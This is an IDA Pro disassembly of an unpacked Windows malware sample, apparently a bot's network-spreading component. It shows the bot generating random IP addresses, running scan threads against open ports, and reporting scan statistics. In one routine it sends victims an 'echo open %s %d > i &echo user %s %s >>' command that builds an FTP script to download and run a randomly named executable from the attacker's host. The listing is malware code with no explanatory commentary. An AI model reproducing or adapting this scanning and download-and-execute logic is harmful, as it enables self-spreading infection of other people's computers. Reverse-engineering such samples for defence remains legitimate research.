;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	5B359CD0EBEEAC6C423D0150B94523A0

; File Name   :	u:\work\5b359cd0ebeeac6c423d0150b94523a0_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00233000 (2306048.)
; Section size in file		: 00233000 (2306048.)
; Offset to raw	data for section: 00001000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default

		include	uni.inc	; see unicode subdir of	ida for	info on	unicode

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

		public start

start		proc near		; CODE XREF: sub_403B2C+41DBp

var_2000	= byte ptr -2000h
var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_4220C0
		push	ebx
		push	edi
		push	offset aRaMr15qabm1 ; "RA/Mr15qAbm1"
		lea	eax, [ebp+var_1000]
		push	offset aSStats	; "%s (Stats):"
		push	eax
		xor	ebx, ebx
		call	sub_422063
		add	esp, 0Ch
		cmp	dword_432088, ebx
		mov	edi, 1000h
		jz	short loc_401078
		push	esi
		mov	esi, offset dword_432090


loc_40103D:				; CODE XREF: start+75j
		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-27h]
		push	eax
		lea	eax, [ebp+var_2000]
		push	offset aSD	; " (%s: %d),"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_2000]
		push	edi
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_421F40
		add	esi, 48h
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40103D
		pop	esi


loc_401078:				; CODE XREF: start+35j
		push	0
		push	dword_4554F0
		call	dword_42F164	; GetTickCount
		push	eax
		call	sub_418A1B
		push	eax
		push	ebx
		push	dword_455398
		lea	eax, [ebp+var_2000]
		push	offset aEftpdDTotalDIn ; " (EFTPD): (%d), Total	-> (%d in %s)"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_2000]
		push	edi
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_421F40
		add	esp, 2Ch
		cmp	ebx, [ebp+arg_10]
		lea	eax, [ebp+var_1000]
		pop	edi
		pop	ebx
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		jg	short loc_4010D6
		cmp	[ebp+arg_8], 0
		jnz	short loc_4010DD


loc_4010D6:				; CODE XREF: start+CEj
		call	sub_4104F6
		jmp	short loc_4010E2
; ---------------------------------------------------------------------------


loc_4010DD:				; CODE XREF: start+D4j
		call	sub_410491


loc_4010E2:				; CODE XREF: start+DBj
		add	esp, 0Ch
		leave
		retn
start		endp


; =============== S U B	R O U T	I N E =======================================



sub_4010E7	proc near		; CODE XREF: sub_401160+F6p
					; sub_401160+FCp ...
		push	esi
		push	edi
		call	dword_42F164	; GetTickCount
		push	eax
		call	sub_4220EF
		pop	ecx
		call	sub_4220FC
		push	1Ah
		pop	edi
		cdq
		mov	ecx, edi
		push	61h
		idiv	ecx
		pop	esi
		add	edx, esi
		push	edx
		call	sub_4220FC
		cdq
		mov	ecx, edi
		idiv	ecx
		add	edx, esi
		push	edx
		call	sub_4220FC
		cdq
		mov	ecx, edi
		idiv	ecx
		add	edx, esi
		push	edx
		call	sub_4220FC
		cdq
		mov	ecx, edi
		idiv	ecx
		add	edx, esi
		push	edx
		call	sub_4220FC
		cdq
		mov	ecx, edi
		idiv	ecx
		add	edx, esi
		push	edx
		call	sub_4220FC
		cdq
		idiv	edi
		add	edx, esi
		mov	esi, offset dword_44D3B0
		push	edx
		push	offset aCCCCCC	; "%c%c%c%c%c%c"
		push	esi
		call	sub_422063
		add	esp, 20h
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4010E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401160	proc near		; CODE XREF: .text:004031C4p
					; sub_40B63F+13Cp ...

var_6A0		= byte ptr -6A0h
var_2A0		= byte ptr -2A0h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_D0		= dword	ptr  0D8h

		push	ebp
		mov	ebp, esp
		sub	esp, 6A0h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_4221F0
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_45434C	; inet_addr
		push	[ebp+arg_D0]
		mov	[ebp+var_C], eax
		call	dword_454314	; ntohs
		push	ebx
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_454394	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_4012EA
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4542AC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_4012EA
		push	ebx
		lea	eax, [ebp+var_6A0]
		push	400h
		push	eax
		push	edi
		call	dword_454330	; recv
		call	sub_4220FC
		push	9
		pop	esi
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_4220FC
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_4220FC
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_4220FC
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_4220FC
		cdq
		idiv	esi
		lea	eax, [ebp+var_110]
		push	edx
		push	offset loc_43903C
		push	offset aSDDDDD_exe ; "%s%d%d%d%d%d.exe"
		push	eax
		call	sub_422063
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_414173
		add	esp, 24h
		mov	esi, offset dword_455388
		test	eax, eax
		jnz	short loc_401248
		mov	esi, offset dword_4552D0


loc_401248:				; CODE XREF: sub_401160+E1j
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_4010E7
		push	eax
		call	sub_4010E7
		push	eax
		lea	eax, [ebp+var_2A0]
		push	dword_44D680
		push	esi
		mov	esi, 190h
		push	offset aEchoOpenSDIEch ; "echo open %s %d > i &echo user %s %s >>"...
		push	esi
		push	eax
		call	sub_42219B
		add	esp, 24h
		lea	eax, [ebp+var_2A0]
		push	ebx
		push	eax
		call	sub_422120
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2A0]
		push	eax
		push	edi
		call	dword_454350	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4012EA
		push	esi
		call	dword_42F15C	; Sleep
		lea	eax, [ebp+var_110]
		push	eax
		push	offset aS_4	; "%s\r\n"
		lea	eax, [ebp+var_2A0]
		push	esi
		push	eax
		call	sub_42219B
		add	esp, 10h
		lea	eax, [ebp+var_2A0]
		push	ebx
		push	eax
		call	sub_422120
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2A0]
		push	eax
		push	edi
		call	dword_454350	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4012EE


loc_4012EA:				; CODE XREF: sub_401160+50j
					; sub_401160+66j ...
		xor	eax, eax
		jmp	short loc_40130C
; ---------------------------------------------------------------------------


loc_4012EE:				; CODE XREF: sub_401160+188j
		push	ebx
		lea	eax, [ebp+var_6A0]
		push	400h
		push	eax
		push	edi
		call	dword_454330	; recv
		push	edi
		call	dword_4543AC	; closesocket
		xor	eax, eax
		inc	eax


loc_40130C:				; CODE XREF: sub_401160+18Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401160	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401311	proc near		; CODE XREF: sub_403B2C+44C0p
					; sub_403B2C+6F79p

var_20		= byte ptr -20h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jz	loc_401401
		push	10h
		mov	ebx, offset dword_44D670
		push	0
		push	ebx
		call	sub_4221F0
		push	10h
		lea	eax, [ebp+var_20]
		push	[ebp+arg_0]
		push	eax
		call	sub_4222F0
		mov	esi, offset a__0 ; "."
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		call	sub_422248
		add	esp, 20h
		mov	[ebp+var_10], eax
		test	eax, eax
		jz	loc_401401
		xor	edi, edi
		inc	edi


loc_401361:				; CODE XREF: sub_401311+6Cj
		push	esi
		push	0
		call	sub_422248
		xor	edx, edx
		pop	ecx
		cmp	eax, edx
		pop	ecx
		mov	[ebp+edi*4+var_10], eax
		jz	loc_401401
		inc	edi
		cmp	edi, 4
		jl	short loc_401361
		cmp	[ebp+arg_8], 1
		jnz	short loc_4013AB
		cmp	[ebp+arg_4], edx
		mov	ecx, offset asc_432D3C ; "x"
		mov	eax, offset a0	; "0"
		mov	esi, ecx
		jnz	short loc_4013A7
		mov	esi, eax
		mov	edx, eax


loc_40139A:				; CODE XREF: sub_401311+98j
		cmp	[ebp+arg_4], 0
		jz	short loc_4013A2
		mov	eax, ecx


loc_4013A2:				; CODE XREF: sub_401311+8Dj
		push	esi
		push	edx
		push	eax
		jmp	short loc_4013EC
; ---------------------------------------------------------------------------


loc_4013A7:				; CODE XREF: sub_401311+83j
		mov	edx, ecx
		jmp	short loc_40139A
; ---------------------------------------------------------------------------


loc_4013AB:				; CODE XREF: sub_401311+72j
		cmp	[ebp+arg_8], 2
		jnz	short loc_4013D0
		cmp	[ebp+arg_4], edx
		mov	ecx, offset asc_432D3C ; "x"
		mov	eax, offset a0	; "0"
		mov	edx, ecx
		jnz	short loc_4013C4
		mov	edx, eax


loc_4013C4:				; CODE XREF: sub_401311+AFj
		cmp	[ebp+arg_4], 0
		jz	short loc_4013CC
		mov	eax, ecx


loc_4013CC:				; CODE XREF: sub_401311+B7j
		push	edx
		push	eax
		jmp	short loc_4013E9
; ---------------------------------------------------------------------------


loc_4013D0:				; CODE XREF: sub_401311+9Ej
		cmp	[ebp+arg_8], 3
		jnz	short loc_401401
		cmp	[ebp+arg_4], edx
		mov	eax, offset asc_432D3C ; "x"
		jnz	short loc_4013E5
		mov	eax, offset a0	; "0"


loc_4013E5:				; CODE XREF: sub_401311+CDj
		push	eax
		push	[ebp+var_8]


loc_4013E9:				; CODE XREF: sub_401311+BDj
		push	[ebp+var_C]


loc_4013EC:				; CODE XREF: sub_401311+94j
		push	[ebp+var_10]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	ebx
		call	sub_422063
		add	esp, 18h
		mov	eax, ebx
		jmp	short loc_401403
; ---------------------------------------------------------------------------


loc_401401:				; CODE XREF: sub_401311+Dj
					; sub_401311+47j ...
		xor	eax, eax


loc_401403:				; CODE XREF: sub_401311+EEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401311	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401408	proc near		; CODE XREF: sub_403B2C+4227p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	8
		call	sub_41C235
		test	eax, eax
		pop	ecx
		jle	short loc_401450
		mov	eax, [ebp+arg_C]
		mov	eax, dword_44C588[eax*8]
		push	eax
		call	dword_45439C	; inet_ntoa
		cmp	[ebp+arg_8], 0
		push	eax
		push	offset aRaMr15qabm1 ; "RA/Mr15qAbm1"
		push	offset aSCipS	; "%s (CIP): %s"
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		jnz	short loc_401449
		call	sub_4104F6


loc_401444:				; CODE XREF: sub_401408+46j
		add	esp, 14h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_401449:				; CODE XREF: sub_401408+35j
		call	sub_410491
		jmp	short loc_401444
; ---------------------------------------------------------------------------


loc_401450:				; CODE XREF: sub_401408+Dj
		cmp	[ebp+arg_8], 0
		push	offset aRaMr15qabm1 ; "RA/Mr15qAbm1"
		push	offset aSInactive ; "%s	Inactive"
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		jnz	short loc_40146D
		call	sub_4104F6
		jmp	short loc_401472
; ---------------------------------------------------------------------------


loc_40146D:				; CODE XREF: sub_401408+5Cj
		call	sub_410491


loc_401472:				; CODE XREF: sub_401408+63j
		add	esp, 10h
		pop	ebp
		retn
sub_401408	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401477	proc near		; CODE XREF: sub_40178D+52p

var_C		= dword	ptr -0Ch
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_AC		= dword	ptr  0B4h
arg_B0		= dword	ptr  0B8h
arg_B4		= dword	ptr  0BCh
arg_B8		= dword	ptr  0C0h
arg_CC		= dword	ptr  0D4h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_AC]
		push	edi
		cmp	eax, 0FFFFFFFFh
		jz	loc_4015B1
		lea	eax, [eax+eax*8]
		xor	edi, edi


loc_401490:				; DATA XREF: .text:off_438DD0o
		cmp	dword_432094[eax*8], edi
		jz	loc_4015B1
		push	9
		call	sub_41C235
		test	eax, eax
		pop	ecx
		jnz	loc_4015B1
		cmp	dword_455600, edi
		jnz	short loc_4014D6
		call	dword_42F164	; GetTickCount
		push	eax
		call	sub_4220EF
		mov	[esp+0Ch+var_C], 13BAh
		push	410h
		call	sub_41409E
		pop	ecx
		pop	ecx
		jmp	short loc_4014DD
; ---------------------------------------------------------------------------


loc_4014D6:				; CODE XREF: sub_401477+3Cj
		movzx	eax, word_439010


loc_4014DD:				; CODE XREF: sub_401477+5Dj
		push	esi
		mov	esi, offset dword_44D3C4
		push	104h
		push	esi
		push	edi
		mov	dword_44D5D4, eax
		mov	dword_44D5D0, edi
		call	dword_42F154	; GetModuleFileNameA
		push	103h
		push	offset loc_439030
		push	offset dword_44D4C8
		call	sub_4222F0
		lea	eax, [ebp+arg_10]
		push	7Fh
		push	eax
		push	offset dword_44D5D8
		mov	dword_44D664, edi
		call	sub_4222F0
		mov	eax, [ebp+arg_B0]
		push	esi
		push	dword_44D5D4
		mov	dword_44D65C, eax
		mov	eax, [ebp+arg_B8]
		mov	dword_44D660, eax
		mov	eax, [ebp+arg_B4]
		mov	dword_44D658, eax
		mov	eax, [ebp+arg_CC]
		push	offset aPnmnw_7rscg0 ; "PnmNw.7RScG0"
		push	offset aSStartedPortIF ; "%s Started,Port: (%i), File: (%s)"
		push	9
		mov	dword_44D668, eax
		call	sub_41BED7
		add	esp, 2Ch
		mov	dword_44D5CC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	offset dword_44D3C0
		push	offset sub_402190
		push	edi
		push	edi
		call	dword_42F158	; CreateThread
		mov	ecx, dword_44D5CC
		pop	esi
		imul	ecx, 1018h
		cmp	eax, edi
		mov	dword_46D414[ecx], eax
		jz	short loc_4015B1
		jmp	short loc_4015A9
; ---------------------------------------------------------------------------


loc_4015A1:				; CODE XREF: sub_401477+138j
		push	32h
		call	dword_42F15C	; Sleep


loc_4015A9:				; CODE XREF: sub_401477+128j
		cmp	dword_44D664, edi
		jz	short loc_4015A1


loc_4015B1:				; CODE XREF: sub_401477+Ej
					; sub_401477+20j ...
		pop	edi
		leave
		retn
sub_401477	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4015B4	proc near		; CODE XREF: sub_401906:loc_40196Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:44C588h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_4223F0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_454228	; ntohl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_454310	; ntohl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_4223F0
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_4015B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4015FC	proc near		; CODE XREF: sub_401906+60p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		or	edi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], edi
		mov	[ebp+var_10], edi
		call	sub_422120
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_401627
		xor	eax, eax
		jmp	loc_4016B1
; ---------------------------------------------------------------------------


loc_401627:				; CODE XREF: sub_4015FC+22j
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_422725
		add	esp, 18h
		cmp	[ebp+var_C], edi
		mov	esi, 0DFh
		jnz	short loc_40165F
		call	sub_4220FC
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	[ebp+var_C], edx


loc_40165F:				; CODE XREF: sub_4015FC+54j
		cmp	[ebp+var_8], edi
		jnz	short loc_401671
		call	sub_4220FC
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	[ebp+var_8], edx


loc_401671:				; CODE XREF: sub_4015FC+66j
		cmp	[ebp+var_4], edi
		jnz	short loc_401683
		call	sub_4220FC
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	[ebp+var_4], edx


loc_401683:				; CODE XREF: sub_4015FC+78j
		mov	edx, [ebp+var_10]
		cmp	edx, edi
		jnz	short loc_401692
		call	sub_4220FC
		cdq
		idiv	esi


loc_401692:				; CODE XREF: sub_4015FC+8Cj
		shl	edx, 8
		add	edx, [ebp+var_4]
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_4]
		pop	esi
		shl	edx, 8
		add	edx, [ebp+var_8]
		shl	edx, 8
		add	eax, edx
		mov	dword_44C588[ecx*8], eax


loc_4016B1:				; CODE XREF: sub_4015FC+26j
		pop	edi
		leave
		retn
sub_4015FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4016B4	proc near		; CODE XREF: sub_401906+77p
					; sub_401AB3+32p ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	offset dword_4552D0
		push	[ebp+arg_0]
		call	dword_45439C	; inet_ntoa
		push	eax
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401786
		push	offset dword_455388
		push	[ebp+arg_0]
		call	dword_45439C	; inet_ntoa
		push	eax
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401786
		xor	edi, edi
		xor	ebx, ebx
		inc	edi
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_454394	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_401786
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_454314	; ntohs
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4543B0	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4542AC	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4542FC	; select
		push	esi
		mov	edi, eax
		call	dword_4543AC	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al
		jmp	short loc_401788
; ---------------------------------------------------------------------------


loc_401786:				; CODE XREF: sub_4016B4+24j
					; sub_4016B4+42j ...
		xor	eax, eax


loc_401788:				; CODE XREF: sub_4016B4+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4016B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40178D	proc near		; DATA XREF: sub_403B2C+4661o
					; sub_403B2C+70EEo

var_CC		= byte ptr -0CCh
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	33h
		xor	ebx, ebx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_CC]
		inc	ebx
		rep movsd
		mov	[eax+0C0h], ebx
		lea	eax, [ebp+var_CC]
		push	eax
		call	dword_45434C	; inet_addr
		push	[ebp+var_4]
		mov	ecx, [ebp+var_30]
		lea	esi, [ebp+var_CC]
		sub	esp, 0CCh
		mov	dword_44C588[ecx*8], eax
		push	33h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_401477
		push	8
		call	sub_41C235
		add	esp, 0D4h
		cmp	eax, ebx
		jnz	short loc_401818
		mov	esi, offset dword_44D398
		push	esi
		call	dword_42F148	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	dword_42F14C	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_401818
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_401818:				; CODE XREF: sub_40178D+66j
					; sub_40178D+82j
		mov	eax, [ebp+var_30]
		cmp	[ebp+var_24], ebx
		mov	esi, dword_42F15C
		mov	edi, ebx
		mov	dword_44C58C[eax*8], ebx
		jb	short loc_4018A7


loc_40182F:				; CODE XREF: sub_40178D+118j
		push	edi
		lea	eax, [ebp+var_CC]
		push	[ebp+var_30]
		mov	[ebp+var_28], edi
		push	[ebp+var_3C]
		push	eax
		push	offset aRaMr15qabm1 ; "RA/Mr15qAbm1"
		push	offset aSSDScanthreadD ; "%s (%s:%d), ScanThread: (%d),	SubThread"...
		push	8
		call	sub_41BED7
		mov	[ebp+var_2C], eax
		imul	eax, 1018h
		mov	ecx, [ebp+var_30]
		add	esp, 1Ch
		mov	dword_46D40C[eax], ecx
		xor	eax, eax
		push	eax
		lea	ecx, [ebp+var_CC]
		push	eax
		push	ecx
		push	offset sub_401906
		push	eax
		push	eax
		call	dword_42F158	; CreateThread
		mov	ecx, [ebp+var_2C]
		imul	ecx, 1018h
		test	eax, eax
		mov	dword_46D414[ecx], eax
		jz	short loc_40189D
		jmp	short loc_401897
; ---------------------------------------------------------------------------


loc_401893:				; CODE XREF: sub_40178D+10Ej
		push	1Eh
		call	esi ; dword_42F15C


loc_401897:				; CODE XREF: sub_40178D+104j
		cmp	[ebp+var_8], 0
		jz	short loc_401893


loc_40189D:				; CODE XREF: sub_40178D+102j
		push	1Eh
		call	esi ; dword_42F15C
		inc	edi
		cmp	edi, [ebp+var_24]
		jbe	short loc_40182F


loc_4018A7:				; CODE XREF: sub_40178D+A0j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jz	short loc_4018C0
		imul	eax, 0EA60h
		push	eax
		call	esi ; dword_42F15C
		jmp	short loc_4018CC
; ---------------------------------------------------------------------------


loc_4018B9:				; CODE XREF: sub_40178D+13Dj
		push	7D0h
		call	esi ; dword_42F15C


loc_4018C0:				; CODE XREF: sub_40178D+11Fj
		mov	eax, [ebp+var_30]
		cmp	dword_44C58C[eax*8], ebx
		jz	short loc_4018B9


loc_4018CC:				; CODE XREF: sub_40178D+12Aj
		mov	eax, [ebp+var_30]
		push	3E8h
		and	dword_44C58C[eax*8], 0
		call	esi ; dword_42F15C
		push	8
		call	sub_41C235
		cmp	eax, ebx
		pop	ecx
		jnz	short loc_4018F5
		push	offset dword_44D398
		call	dword_42F148	; RtlDeleteCriticalSection


loc_4018F5:				; CODE XREF: sub_40178D+15Bj
		push	[ebp+var_30]
		call	sub_41C059
		pop	ecx
		push	0
		call	dword_42F150	; ExitThread
sub_40178D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401906	proc near		; DATA XREF: sub_40178D+E4o

var_1A0		= byte ptr -1A0h
var_190		= byte ptr -190h
var_10C		= byte ptr -10Ch
var_F0		= dword	ptr -0F0h
var_EC		= dword	ptr -0ECh
var_E8		= dword	ptr -0E8h
var_E0		= dword	ptr -0E0h
var_DC		= dword	ptr -0DCh
var_D8		= dword	ptr -0D8h
var_D0		= byte ptr -0D0h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	33h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_D0]
		rep movsd
		mov	ecx, [ebp+var_8]
		mov	esi, [ebp+var_30]
		mov	[ebp+arg_0], ecx
		mov	dword ptr [eax+0C4h], 1
		mov	[ebp+var_4], esi
		call	dword_42F164	; GetTickCount
		push	eax
		call	sub_4220EF
		mov	eax, esi
		pop	ecx
		imul	eax, 1018h
		lea	ebx, dword_46D40C[eax]
		jmp	loc_401A5B
; ---------------------------------------------------------------------------


loc_401958:				; CODE XREF: sub_401906+15Fj
		cmp	[ebp+var_14], 0
		push	eax
		jz	short loc_40196E
		lea	eax, [ebp+var_D0]
		push	eax
		call	sub_4015FC
		pop	ecx
		jmp	short loc_401973
; ---------------------------------------------------------------------------


loc_40196E:				; CODE XREF: sub_401906+57j
		call	sub_4015B4


loc_401973:				; CODE XREF: sub_401906+66j
		pop	ecx
		mov	edi, eax
		push	[ebp+var_3C]
		push	[ebp+var_40]
		push	edi
		call	sub_4016B4
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_401A50
		cmp	[ebp+var_24], 0FFFFFFFFh
		jnz	short loc_4019AC
		mov	edi, offset dword_44D398
		push	edi
		call	dword_42F140	; RtlEnterCriticalSection
		push	edi
		call	dword_42F144	; RtlLeaveCriticalSection
		jmp	loc_401A50
; ---------------------------------------------------------------------------


loc_4019AC:				; CODE XREF: sub_401906+8Cj
		push	edi
		call	dword_45439C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_422063
		mov	eax, [ebp+var_24]
		lea	eax, [eax+eax*8]
		lea	eax, ds:432050h[eax*8]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_422063
		mov	eax, [ebp+var_20]
		sub	esp, 0B8h
		mov	[ebp+var_DC], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_D8], eax
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_E0], eax
		mov	eax, [ebp+var_40]
		push	34h
		mov	[ebp+var_F0], eax
		mov	eax, [ebp+var_24]
		pop	ecx
		mov	[ebp+var_EC], esi
		lea	esi, [ebp+var_1A0]
		mov	edi, esp
		push	[ebp+arg_0]
		mov	[ebp+var_E8], eax
		lea	eax, [eax+eax*8]
		rep movsd
		lea	ecx, [ebp+var_C0]
		push	ecx
		call	off_43208C[eax*8]
		mov	esi, [ebp+var_4]
		add	esp, 0D8h


loc_401A50:				; CODE XREF: sub_401906+82j
					; sub_401906+A1j
		push	7D0h
		call	dword_42F15C	; Sleep


loc_401A5B:				; CODE XREF: sub_401906+4Dj
		mov	eax, [ebx]
		cmp	dword_44C58C[eax*8], 0
